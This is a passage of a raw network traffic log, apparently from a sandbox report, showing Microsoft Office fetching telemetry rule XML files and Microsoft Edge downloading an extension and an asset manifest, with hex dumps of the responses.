F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:36 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:36 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 190bcf01-801e-0078-3650-3cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172836Z-15b8b599d88phfhnhC1TEBr51n00000006cg0000000098x7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:36 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:36 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: ba5d631a-801e-0047-14d1-3e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172836Z-178bfbc474bgvl54hC1NYCsfuw00000007t0000000009q09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:36 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172836Z-174c587ffdfmrvb9hC1TEBtn38000000068g00000000c54a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:36 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e328efd5-c01e-00a2-56bf-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172836Z-178bfbc474bpnd5vhC1NYC4vr400000007v0000000004k6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:37 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49815	23.44.133.41	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733160513&P2=404&P3=2&P4=GIXbPh3B%2b%2fIUkQ%2b52BqCIJXp9lnbpofZtuOHOMmdikviZgKhU9sh9lEvT8YEwuSud9W1jcZArnu7mUnxrwQMrA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: gDi5M/sCeL9Us9SWhQvpLB Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:38 UTC	1221	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: e3731855-5a3e-4e43-8d55-3843c0a1b7c2 MS-RequestId: 74add4c3-b80c-43c0-b354-105b55f78670 MS-CV: pYmfl/00fHw8EmBVibiWDJ.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86338 Date: Mon, 25 Nov 2024 17:28:38 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.44.134.22,b=697175491,c=g,n=US_NJ_PISCATAWAY,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.16862c17.1732555718.298e0dc3 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-25 17:28:38 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172838Z-174c587ffdf8fcgwhC1TEBnn70000000069g00000000x7c1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49807	13.107.246.63	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:39 UTC	577	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:38 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: b33c4d2f-f01e-005b-29f5-3e6f7b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T172838Z-15b8b599d88m7pn7hC1TEB4axw000000066000000000r4qu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-25 17:28:39 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-25 17:28:39 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-25 17:28:39 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-25 17:28:39 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-25 17:28:39 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-25 17:28:39 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-25 17:28:39 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 